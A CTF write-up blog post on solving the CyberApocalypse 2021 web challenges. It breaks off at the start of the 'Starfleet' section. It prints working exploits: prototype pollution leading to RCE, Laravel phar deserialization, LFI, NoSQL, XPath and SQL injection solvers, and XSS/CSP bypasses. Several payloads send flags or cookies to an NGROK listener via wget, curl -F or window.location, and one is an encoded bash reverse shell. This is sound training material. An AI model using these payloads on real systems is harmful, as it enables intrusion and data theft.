This page looks best with JavaScript enabled

CyberApocalypse 2021

 ·  ☕ 29 min read

In time

In this section I’m going to include an explanation of how I solved the challenges while the CTF was active.

BlitzProp

Description

We have the source code of the challenge, so went throught it, instead of actually browsing the web. When doing so found a weird code in the routes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { song } = unflatten(req.body);

	if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the name of an existing song.'
		});
	}
});

For some reason it is using a library to get the contents of the code when he could just use const { song } = req.body, this was the first piece of the puzzle. Libraries that just “clone” objects are well known to be commonly vulnerable to prototype pollution, together with the allowed song names which seems like a hint made it obvious.

Secondly it is using pug compile if we manage to get inside the if statement which is easy to accomplish. Mixing those together we can create an AST injection to execute remote code. Here is a post that explains the attack vector with a pretty similar vulnerable web. So just changed a little bit the POC in order to match our particular use case:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import requests

TARGET_URL = 'http://138.68.178.56:32277'

# make pollution
requests.post(TARGET_URL + '/api/submit', json = {
    "song":{
      "name": "ASTa la vista baby",
    },
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`wget http://NGROK:9999?$(cat flag*)`)"
    }
})

# execute
requests.get(TARGET_URL)

From now onwards whenever I’m exfiltrating the flag through http will use NGROK, it should be replaced with the ngrok url or your own vps (same with the port)

Now we can just listen for the connection and get the flag:

Flag

Inspector Gadget

Description

From the name and difficulty you can tell that the challenge is going to be about browsing the client side code.

Missed some of the challenges even though I knew the attack vector, just because of lack of time, here is a writeup for those challenges solved the next day, therefore didn’t count for the scoreboard.

The first part (CHTB{1nsp3ction_) comes from index.html:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<html lang="en">
   <head>
      <meta charset="UTF-8">
      <title>Inspector Gadget</title>
      <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
      <link rel="icon" href="/static/images/favicon.png">
      <link rel="stylesheet" href="/static/css/main.css">
   </head>
   <body>
      <center><h1>CHTB{</h1></center>
      <div id="container"></div>
   </body>
   <script src='https://cdnjs.cloudflare.com/ajax/libs/three.js/87/three.min.js'></script>
   <script src='https://threejs.org/examples/js/controls/OrbitControls.js'></script>
   <script src='https://cdnjs.cloudflare.com/ajax/libs/gsap/1.20.2/TweenMax.min.js'></script>
   <script src="/static/js/main.js"></script>
   <!--1nsp3ction_-->
</html>

}

The second part (c4n_r3ve4l_) is inside main.css:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
/* c4n_r3ve4l_ */
* {
    margin: 0;
    padding: 0;
    background-image: url('https://zultanzul.github.io/ThreeJS-Robot/skybox/sky_pos_z.jpg');
    background-repeat: no-repeat;
    background-size: 100%;
    background-color: black;
}
...

Last part (us3full_1nf0rm4tion}) can be found on main.js:

1
2
3
4
console.log("us3full_1nf0rm4tion}");

window.addEventListener('resize', handleWindowResize, false);
...

Finally just put them all together and we have the flag:

CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}

DaaS

Description

Just from the description it seems that we need to abuse the debug feature. However before anything else here is the main page:

Main page

Checking for vulnerabilities for that version that exploit the debug mode found this article, it basically explains how you can obtain RCE from it. From the authors of the article there is also a POC exploit

First of all let’s setup the tool:

[jusepe@nix:/tmp]$ git clone https://github.com/ambionics/phpggc
Cloning into 'phpggc'...
remote: Enumerating objects: 2260, done.
remote: Counting objects: 100% (602/602), done.
remote: Compressing objects: 100% (336/336), done.
remote: Total 2260 (delta 211), reused 536 (delta 169), pack-reused 1658
Receiving objects: 100% (2260/2260), 340.73 KiB | 2.91 MiB/s, done.
Resolving deltas: 100% (853/853), done.
[jusepe@nix:/tmp]$ cd phpggc/
[jusepe@nix:/tmp/phpggc]$ wget https://raw.githubusercontent.com/ambionics/laravel-exploits/main/laravel-ignition-rce.py
--2021-04-24 07:58:31--  https://raw.githubusercontent.com/ambionics/laravel-exploits/main/laravel-ignition-rce.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4684 (4.6K) [text/plain]
Saving to: ‘laravel-ignition-rce.py’

laravel-ignition-rce.py                   100%[====================================================================================>]   4.57K  --.-KB/s    in 0.001s  

2021-04-24 07:58:31 (7.18 MB/s) - ‘laravel-ignition-rce.py’ saved [4684/4684]

Now let’s get our hands dirty and get the flag.
Messing around got that the flag is in the root directory:

[jusepe@nix:/tmp/phpggc]$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system 'ls /'
[jusepe@nix:/tmp/phpggc]$ python3 ./laravel-ignition-rce.py http://138.68.178.56:30640/ /tmp/exploit.phar
+ Log file: /www/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
bin
boot
dev
entrypoint.sh
etc
flagqbeti
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www
--------------------------
+ Logs cleared

Now we can just go and grab it:

[jusepe@nix:/tmp/phpggc]$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system 'cat /flag*'
[jusepe@nix:/tmp/phpggc]$ python3 ./laravel-ignition-rce.py http://138.68.178.56:30640/ /tmp/exploit.phar
+ Log file: /www/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
CHTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}
--------------------------
+ Logs cleared

MiniSTRyplace

Description

From the source code we can check the index:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<html>
    <header>
        <meta name='author' content='bertolis, makelaris'>
        <title>Ministry of Defence</title>
        <link rel="stylesheet" href="/static/css/main.css">
        <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootswatch/4.5.0/slate/bootstrap.min.css"   >
    </header>

    <body>
    <div class="language">
        <a href="?lang=en.php">EN</a>
        <a href="?lang=qw.php">QW</a>
    </div>

    <?php
    $lang = ['en.php', 'qw.php'];
        include('pages/' . (isset($_GET['lang']) ? str_replace('../', '', $_GET['lang']) : $lang[array_rand($lang)]));
    ?>
    </body>
</html>

It is using include which loads and evaluates the content of the given file. This function is well known to be a possible vector attack to accomplish LFI or RFI if the user can manipulate the input and is not correctly validated. In this scenario it’s using str_replace which replaces all the occurence but just once, so we can bypass this by using ....// so when it gets replaced it ends up being ../.

Also from the files we know that the flag is in the root directory, so just go back a bunch of directories to get it:

[jusepe@nix:~]$ curl http://138.68.147.93:31171/?lang=....//....//....//....//flag
<html>
    <header>
        <meta name='author' content='bertolis, makelaris'>
        <title>Ministry of Defence</title>
        <link rel="stylesheet" href="/static/css/main.css">
        <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootswatch/4.5.0/slate/bootstrap.min.css"   >
    </header>

    <body>
    <div class="language">
        <a href="?lang=en.php">EN</a>
        <a href="?lang=qw.php">QW</a>
    </div>

    CHTB{b4d_4li3n_pr0gr4m1ng}
    </body>
</html>

Caas

Description

From the name it seems that is using curl, which may be vulnerable to command injection. However let’s review the code before making any assumption.

Here are the routers and which Controller uses each of them from index.php:

1
2
3
4
...
$router = new Router();
$router->new('GET', '/', 'CurlController@index');
$router->new('POST', '/api/curl', 'CurlController@execute' );

So let’s check what’s inside CurlController.php:

<?php
class CurlController
{
    public function index($router)
    {
        return $router->view('index');
    }

    public function execute($router)
    {
        $url = $_POST['ip'];

        if (isset($url)) {
            $command = new CommandModel($url);
            return json_encode([ 'message' => $command->exec() ]);
        }
    }
}

It takes the ip from the body without any sanitization and passes it to the CommandModel.php, so let’s check what it does:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
class CommandModel
{
    public function __construct($url)
    {
        $this->command = "curl -sL " . escapeshellcmd($url);
    }

    public function exec()
    {
        exec($this->command, $output);
        return $output;
    }
}

It is using escapeshellcmd which avoids new commands appended with ; or other special characters. However from curl manual pages we can use -F to exfiltrate a file, so start a listener with ngrok and send the file as follows:

[jusepe@nix:~]$ curl -d 'ip=http://NGROK:9999 -F "data=@/flag"' http://138.68.178.56:30232/api/curl

On the listener we receive the flag:
Flag

Wild Goose Hunt

Description

Reading the file the first thing that caught my attention is where the flag is located, here is the entrypoint of the docker image:

#!/bin/ash

# Secure entrypoint
chmod 600 /entrypoint.sh
mkdir /tmp/mongodb
mongod --noauth --dbpath /tmp/mongodb/ &
sleep 2
mongo heros --eval "db.createCollection('users')"
mongo heros --eval 'db.users.insert( { username: "admin", password: "CHTB{f4k3_fl4g_f0r_t3st1ng}"} )'
/usr/bin/supervisord -c /etc/supervisord.conf

Moving forward checked the routes and it is using unsanitized input to query the MongoDB:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const express = require('express');
const router  = express.Router();
const User    = require('../models/User');

router.get('/', (req, res) => {
	return res.render('index');
});

router.post('/api/login', (req, res) => {
	let { username, password } = req.body;

	if (username && password) {
		return User.find({ 
			username,
			password
		})
			.then((user) => {
				if (user.length == 1) {
					return res.json({logged: 1, message: `Login Successful, welcome back ${user[0].username}.` });
				} else {
					return res.json({logged: 0, message: 'Login Failed'});
				}
			})
			.catch(() => res.json({ message: 'Something went wrong'}));
	}
	return res.json({ message: 'Invalid username or password'});
});

module.exports = router;

Just to validate the theory tried to bypass the login:

[jusepe@nix:~]$ curl -X POST -d 'username=admin&password[$ne]=foo' http://138.68.148.149:31695/api/login
{"logged":1,"message":"Login Successful, welcome back admin."}

Once I was sure it was vulnerable then wrote a small script to get the password:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string

def login(password):
  url = "http://138.68.148.149:31695/api/login"                    # Change the IP and Port for the instance
  data = {"username": "admin", "password[$regex]": f"{password}.*"}
  return requests.post(url, data=data)

def get_flag():
  charset = string.ascii_letters + string.digits + "_!}"
  expected_length = len(login("CHTB{").text)
  flag = "CHTB{"
  incomplete = True
  while incomplete:
    for char in charset:
      if(len(login(f"{flag}{char}").text) == expected_length):
        flag += char
        if(char == "}"):
          return flag
        break
if __name__ == "__main__":
  print(get_flag())

Then execute the solver and pray for the flag:

[jusepe@nix:~]$ python3 solver.py 
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}

E.Tree

Description

The challenge doesn’t give the source code. However we are given an XML with the following format:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?xml version="1.0" encoding="utf-8"?>

<military>
    <district id="confidential">
        <staff>
          ...
        </staff>
        <staff>
          ...
        </staff>
    </district>

    <district id="confidential">
    
        <staff>
          ...
        </staff>
        <staff>
          ...
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
            <selfDestructCode>CHTB{f4k3_fl4g</selfDestructCode>
        </staff>
        
    </district>

    <district id="confidential">
        <staff>
          ...
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
            <selfDestructCode>_f0r_t3st1ng}</selfDestructCode>
        </staff>
        <staff>
          ...  
        </staff>
    </district>
</military>

So searched in google for ETree and python xml parsing and found an attack vector(XPath Injection) and two possible libraries to do so in python (ElementTree and lxml)

Before going any further wanted to test if the endpoint was vulnerable to this kind of attack:

POC

At this point wanted to know which library was using, so tried to force an error and check what happens. With that exfiltrated the route source code (thanks to debugging mode):

  <div class="source "><pre class="line before"><span class="ws"></span>@app.route(&quot;/api/search&quot;, methods=[&quot;POST&quot;])</pre>
<pre class="line before"><span class="ws"></span>def search():</pre>
<pre class="line before"><span class="ws">    </span>name = request.json.get(&quot;search&quot;, &quot;&quot;)</pre>
<pre class="line before"><span class="ws">    </span>query = &quot;/military/district/staff[name='{}']&quot;.format(name)</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line current"><span class="ws">    </span>if tree.xpath(query):</pre>
<pre class="line after"><span class="ws">        </span>return {&quot;success&quot;: 1, &quot;message&quot;: &quot;This millitary staff member exists.&quot;}</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>return {&quot;failure&quot;: 1, &quot;message&quot;: &quot;This millitary staff member doesn't exist.&quot;}</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span>app.run(&quot;0.0.0.0&quot;, port=1337, debug=True)</pre></div>

Cleaning it up a little bit it’s something like:

1
2
3
query = "/military/district/staff[name='{}']".format(name)
if tree.xpath(query):
return {"success": 1,"message": "This millitary staff member exists."}

From both of those libraries searching for examples and tutorials, most of them that used lxml used a similar naming convention so assumed that was the one it is using.
Now created a small script to test payloads locally in a faster way:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from lxml import etree

tree = etree.parse("./military.xml")
while True:
  name = input(">")
  query = f"/military/district/staff[name='{name}']"
  if tree.xpath(query):
    print("match")
  else:
    print("no match")

Since we only have a boolean based output this has to be done with a blind attack, at first struggled because both start-with and re:, which according to some stackoverflow post could be used for this purpose wasn’t working. Some time after thought of using contains starting with the already known flag format, so then created a solver script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import string

target = "http://138.68.177.159:30685/"      # Change the IP and Port

def make_request(payload):
  endpoint = f"{target}/api/search"
  r = requests.post(endpoint,json={"search": payload})
  expected_length = 72
  return len(r.text) == expected_length

def get_first_half(charset):
  first_half = "CHTB{"
  complete = False
  while not complete:
    for char in charset:
      result = make_request(f"' or contains(selfDestructCode,'{first_half}{char}') or name='")
      if result:
        first_half += char
        break
      if char == charset[-1] and result == False:
        complete = True
  return first_half

def get_second_half(charset):
  second_half = "}"
  complete = False
  while not complete:
    for char in charset:
      result = make_request(f"' or contains(selfDestructCode,'{char}{second_half}') or name='")
      if result:
        second_half = f"{char}{second_half}"
        break
      if char == charset[-1] and result == False:
        complete = True
  return second_half

def get_flag():
  charset = string.printable
  first_half = get_first_half(charset)
  second_half = get_second_half(charset)
  return first_half + second_half

if __name__ == "__main__":
  flag = get_flag()
  print(flag)

Here is the output:

[jusepe@nix:~]$ python3 solver.py 
CHTB{Th3_3xTr4_l3v3l_4Cc3s$_c0nTr0l}

The Galactic Times

Description

The flag of this challenge was inside alien.html which from the route source code could only be accesible from localhost:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
const bot = require('../bot');
const fs = require('fs');

let db;

async function router (fastify, options) {
	fastify.get('/', async (request, reply) => {
		return reply.type('text/html').send(fs.readFileSync('views/index.html',{encoding:'utf8', flag:'r'}));
	});

	fastify.get('/alien', async (request, reply) => {
		if (request.ip != '127.0.0.1') {
			return reply.code(401).send({ message: 'Only localhost is allowed'});
		}
		return reply.type('text/html').send(fs.readFileSync('views/alien.html',{encoding:'utf8', flag:'r'}));
	});

	fastify.get('/feedback', async (request, reply) => {
		return reply.type('text/html').send(fs.readFileSync('views/feedback.html',{encoding:'utf8', flag:'r'}));
	});

	fastify.post('/api/submit', async (request, reply) => {
		let { feedback } = request.body;
		
		if (feedback) {
			return db.addFeedback(feedback)
				.then(() => {
					bot.purgeData(db);
					reply.send({ message: 'The Galactic Federation has processed your feedback.' });
				})
				.catch(() => reply.send({ message: 'The Galactic Federation spaceship controller has crashed.', error: 1}));
		}

		return reply.send({ message: 'Missing parameters.', error: 1 });
	});

	fastify.get('/list', async (request, reply) => {
		if (request.ip != '127.0.0.1') {
			return reply.code(401).send({ message: 'Only localhost is allowed'});
		}
		return await db.getFeedback()
			.then(feedback => {
				if (feedback) {
					return reply.view('views/list.pug', { feedback: feedback });
				}
				return reply.send({ message: 'The Galactic Federation archives appear to be empty.' });
			})
			.catch(() => {
				return reply.send({ message: 'The Galactic Federation spaceship controller has crashed.' });
			});
	});
}

module.exports = database => {
	db = database;
	return router;
};

Luckily for us there is a bot that visits all we post to /api/submit, here is the source code of the bot:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const puppeteer = require('puppeteer');

const browser_options = {
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update'
    ]
};

async function purgeData(db){
    const browser = await puppeteer.launch(browser_options);
    const page = await browser.newPage();

    await page.goto('http://127.0.0.1:1337/list', {
        waitUntil: 'networkidle2'
    });

    await browser.close();
    await db.migrate();
};

module.exports = { purgeData };

The database method db.migrate() just regenerates with it’s initial state the tables

At this point thought that I needed to exploit an STTI with pug again, after some time trying payloads made a little research and found this post that explains pug interpolation, then checked the pug template:

1
2
3
4
5
<tr>
    <th scope="row">!{feedback[i].id}</th>
    <td>!{feedback[i].comment}</td>
    <td>!{feedback[i].created_at}</td>
</tr>

It’s using !{...} so it doesn’t evaluates. At this point the other possibility was to find a XSS and make the bot return us the flag from /alien. However after trying some payloads realised that they were violating CSP policy.
Here is from index.js what are the policies:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
fastify.register(require('fastify-helmet'), {
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'", "'unsafe-eval'", "https://cdnjs.cloudflare.com/"],
            styleSrc: ["'self'", "'unsafe-inline'", "https://unpkg.com/nes.css/", "https://fonts.googleapis.com/"],
            fontSrc: ["'self'", "https://fonts.gstatic.com/"],
            imgSrc: ["'self'", "data:"],
            childSrc: ["'none'"],
            objectSrc: ["'none'"]
        }
    },
    
});

Firstly thought that it could be easily bypassed with an image and a base64 xss payload like this one <img src="data:text/html;base64,PHNjcmlwdD5hbGVydCh3aW5kb3cubG9jYXRpb24pPC9zY3JpcHQ+">. There was no error on CSP. However didn’t pop any alert box.

Keep searching on how to bypass CSP and found a couple of posts like this one that uses cloudfare and other CDNs to bypass it, but the payloads didn’t work for me until I tried the one from this post.

This is my flag grabber:

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('var x = new XMLHttpRequest();x.open(\'GET\',\'/alien\',false);x.send();window.location = \'http://NGROK:9999/?\' + btoa(unescape(encodeURIComponent(x.responseText)));')()}}
</div>

Once we get the content in the listener, we can decode it to get the flag:

Flag

Cessation

Description

We are given a config file with the following:

regex_map http://.*/shutdown http://127.0.0.1/403
regex_map http://.*/ http://127.0.0.1/

It seems like we need to accesss the /shutdown endpoint. This was relatively easy just added another / to bypass the regex:

[jusepe@nix:~]$ curl -silent http://138.68.177.159:30888//shutdown | grep CHTB
              <h2>Initiating Network Shutdown...<br/>Device Status: Offline<br/>CHTB{c3ss4t10n_n33d_sync1ng_#@$?}</h2>

pcalc

Description

In this challenge we have a single route as we can see in index.php:

1
2
$router = new Router();
$router->new('GET', '/', 'CalcController@index');

Let’s have a look at CalcController.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
class CalcController
{
    public function index($router)
    {
        $formula = isset($_GET['formula']) ? $_GET['formula'] : '100*10-3+340';
        $calc = new CalcModel();
        return $router->view('index', ['res' => $calc->getCalc($formula)]);
    }
}

As expected it’s creating an instance of CalcModel here is the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
class CalcModel
{
    public static function getCalc($formula)
    {
        if (strlen($formula) >= 100 || preg_match_all('/[a-z\'"]+/i', $formula)) {
            return '🤡 dont bite the hand that feeds you human 🤡';
        }
        try {
            eval('$pcalc = ' . $formula . ';');
            return isset($pcalc) ? $pcalc : '?';
        }
        catch (ParseError $err) {
           return '🚨 report to the nearest galactic federation agency 🚨';
        }  
    }
}

It seems like another eval bypass challenge. We can’t use letters or any of these characters '"[]. At first tried to use octal from this post. However wasn’t working because I couldn’t use quotes.After some struggling (and a small nudge :D ), realised that could use backticks. They are special characters and are essentially the same as shell_exec. Together with the original octal bypass idea we could execute commands. Therefore we couldn’t get the output of the command, neither the docker image had curl or wget.

At first tried to create a reverse shell which should easier than encoding more than one command to get the flag. After trying to save space (because of the 100 char size limit) my reverse shell payload ended up
being 103 characters long:

`\142\141\163\150 -\143 \42\142\141\163\150 -\151 >& /\144\145\166/\164\143\160/MYVPS/8 0>&1\42`

Tried to executed it from php interactive shell and worked, nice I was close.
Then tried to create two payloads to create a reverse shell script inside the filesystem of the docker and then calling it. Not sure why but this didn’t work, when called from the browser the reverse shell didn’t respond and got frozen together with the instance.

Some time after came up with a much smaller and simpler payload to get the flag:

`\143\160 /\146\52 ./\146`

After reading post CTF solutions from the discord some people used bash autocompletion and used ???/????????? as the payload, found it interesting to have a look so here it is.

Now we can just curl the flag

[jusepe@nix:~]$ curl http://138.68.148.149:31381/f
CHTB{I_d0nt_n33d_puny_hum4n_l3tt3rs_t0_pwn!}

emoji voting

Description

When reviewing the code the attack vector was easy to spot, all the interesting stuff is in the file database.js:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
const sqlite = require('sqlite-async');
const crypto = require('crypto');

class Database {
    constructor(db_file) {
        this.db_file = db_file;
        this.db = undefined;
    }
    
    async connect() {
        this.db = await sqlite.open(this.db_file);
    }

    async migrate() {
        let rand = crypto.randomBytes(5).toString('hex');

        return this.db.exec(`
            DROP TABLE IF EXISTS emojis;
            DROP TABLE IF EXISTS flag_${ rand };

            CREATE TABLE IF NOT EXISTS flag_${ rand } (
                flag TEXT NOT NULL
            );

            INSERT INTO flag_${ rand } (flag) VALUES ('CHTB{f4k3_fl4g_f0r_t3st1ng}');

            CREATE TABLE IF NOT EXISTS emojis (
                id      INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                emoji   VARCHAR(255),
                name    VARCHAR(255),
                count   INTEGERT
            );

            INSERT INTO emojis (emoji, name, count) VALUES 
                ('👽', 'alien', 13),
                ('🛸', 'flying saucer', 3),
                ('👾', 'alien monster', 0),
                ('💩', '👇 = human', 118),
                ('🚽', '👇 = human', 19),
                ('🪠', '👇 = human', 2),
                ('🍆', 'eggplant', 69),
                ('🍑', 'peach', 40),
                ('🍌', 'banana', 21),
                ('🐶', 'dog', 80),
                ('🐷', 'pig', 37),
                ('👨', 'homo idiotus', 124)
        `);
    }

    async vote(id) {
        return new Promise(async (resolve, reject) => {
            try {
                let query = 'UPDATE emojis SET count = count + 1 WHERE id = ?';
                resolve(await this.db.run(query, [id]));
            } catch(e) {
                reject(e);
            }
        });
    }

    async getEmojis(order) {
        // TOOD: add parametrization
        return new Promise(async (resolve, reject) => {
            try {
                let query = `SELECT * FROM emojis ORDER BY ${ order }`;
                resolve(await this.db.all(query));
            } catch(e) {
                reject(e);
            }
        });
    }
}

module.exports = Database;

The method getEmojis is vulnerable to SQL Injection (also has a comment that highlights it), so created a small script that gets the flag based on time responses:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3
import requests
import string

#target = "localhost:1337"
target = "178.62.93.166:32500"
max_resp_time = 0.5

def make_req(payload):
    r = requests.post(f"http://{target}/api/list",data={"order":payload})
    return r

def get_table_name():
    charset = "0123456789abcdef"
    flag_table = "flag_"
    for i in range(10):
        for char in charset:
            r = make_req(f"(SELECT 1 FROM sqlite_master WHERE type='table' AND name like '{flag_table}{char}%' AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) )")
            time = r.elapsed.total_seconds()
            if time > max_resp_time:
                flag_table += char
    return flag_table

def get_flag(flag_table):
    flag = "CHTB{"
    incomplete = True
    charset = string.digits +string.ascii_lowercase + string.ascii_uppercase + "!}_"
    while incomplete:
        for char in charset:
            r = make_req(f"(SELECT 1 FROM {flag_table} WHERE flag like '{flag}{char}%' AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000/2)))) )")
            time = r.elapsed.total_seconds()
            if time > max_resp_time:
                flag += char
                if char == "}":
                    incomplete = False
                break
    return flag

if __name__ == "__main__":
    flag_table = get_table_name()
    flag = get_flag(flag_table)
    print(flag)

The solver was working perfectly on my local instance. However when I used on the remote instance broke it, after speaking with the creator of the challenge we’ve come to the conclusion that it occurs because of resource limitations, such heavy queries breaks the instance.

Then created a second version of the solver:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python3
import requests
import string

target = "206.189.121.131:32213"
max_resp_time = 0.5

def make_req(payload):
    r = requests.post(f"http://{target}/api/list",data={"order":payload})
    return r

def get_table_name():
    charset = "0123456789abcdef"
    flag_table = "flag_"
    for i in range(10):
        for char in charset:
            r = make_req(f"coalesce((select name FROM sqlite_master WHERE type='table' AND name NOT LIKE '{flag_table}{char}%' AND name NOT LIKE 'sqlite%' AND name NOT LIKE 'emo%'),RANDOMBLOB(9999999))")
            time = r.elapsed.total_seconds()
            if time > max_resp_time:
                flag_table += char
    return flag_table

def get_flag(flag_table):
    flag = "CHTB{"
    incomplete = True
    charset = string.digits +string.ascii_lowercase + string.ascii_uppercase + "!}_"
    while incomplete:
        for char in charset:
            r = make_req(f"coalesce((SELECT flag FROM {flag_table} WHERE flag NOT LIKE '{flag}{char}%'),RANDOMBLOB(9999999))")
            time = r.elapsed.total_seconds()
            if time > max_resp_time:
                flag += char
                if char == "}":
                    incomplete = False
                break
    return flag

if __name__ == "__main__":
    flag_table = get_table_name()
    flag = get_flag(flag_table)
    print(flag)

Alien complaint form

Description

This challenge is similar to “The Galactic Times”, in this case the flag are carried by the bot there are some code changes and also does the CSP.

However now there is no Pug template, instead there is a file named list.js with the following content:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const display = feedback => {
    document.getElementsByTagName('tbody')[0].innerHTML = '';
    for(let complaint of feedback) {
        let template = `
            <tr>
                <th scope="row">${complaint.id}</th>
                <td>${complaint.complaint}</td>
                <td>${complaint.species}</td>
                <td>${complaint.created_at}</td>
            </tr>
        `;
        
        document.getElementsByTagName('tbody')[0].innerHTML += template;
    }
};

const jsonp = (url, callback) => {
    const s = document.createElement('script');

    if (callback) {
        s.src = `${url}?callback=${callback}`;
    } else {
        s.src = url;
    }

    document.body.appendChild(s);
};

jsonp('/api/jsonp', (new URLSearchParams(location.search)).get('callback'));

So it passes the callback parameter back to /api/jsonp, let’s see what it does:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
	fastify.get('/api/jsonp', async (request, reply) => {
		let callback = request.query.callback || 'display';
		reply.header('Content-Type', 'application/javascript');
		let feedback = await db.getFeedback()
			.then(feedback => {
				if (feedback) {
					return feedback;
				}
				return 'The Galactic Federation archives appear to be empty.';
			})
			.catch(() => {
				return 'The Galactic Federation spaceship controller has crashed.';
			});
		reply.send(`${callback}(${JSON.stringify(feedback)})`);
	});

This caught my attention because of the Content-Type, modified the local instance so I could access the list without being from localhost, and changing the callback I was able to create an XSS:

Alert

The next step was to inject the xss in the list using the form, after trying some different tags, <iframe> worked. It was time to get the cookies with the following payload:

1
<iframe src="http://127.0.0.1:1337/list?callback=window.location.href%3D`http://NGROK:9999?${btoa(unescape(encodeURIComponent(document.cookie)))}`;display"></iframe>

Note: It’s important to make a reference to 127.0.0.1 instead of localhost, because cookies are set there, otherwise won’t work.

Unexpectedly when I tried it out I got an error in console that it was violating CSP, but why?

Error

This made no sense to me, so tried to change the window location manually through the console and worked. So searched for a way to access the parent location from the iframe, luckily there was this post covering the topic.

Made a little change on the payload and hope for the best:

1
<iframe src="http://127.0.0.1:1337/list?callback=window.parent.location.href%3D`http://NGROK:9999?${btoa(unescape(encodeURIComponent(document.cookie)))}`;display"></iframe>

As always we just wait to receive the flag:

Flag

Starfleet

Description

Here are the available endpoints:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const path              = require('path');
const express           = require('express');
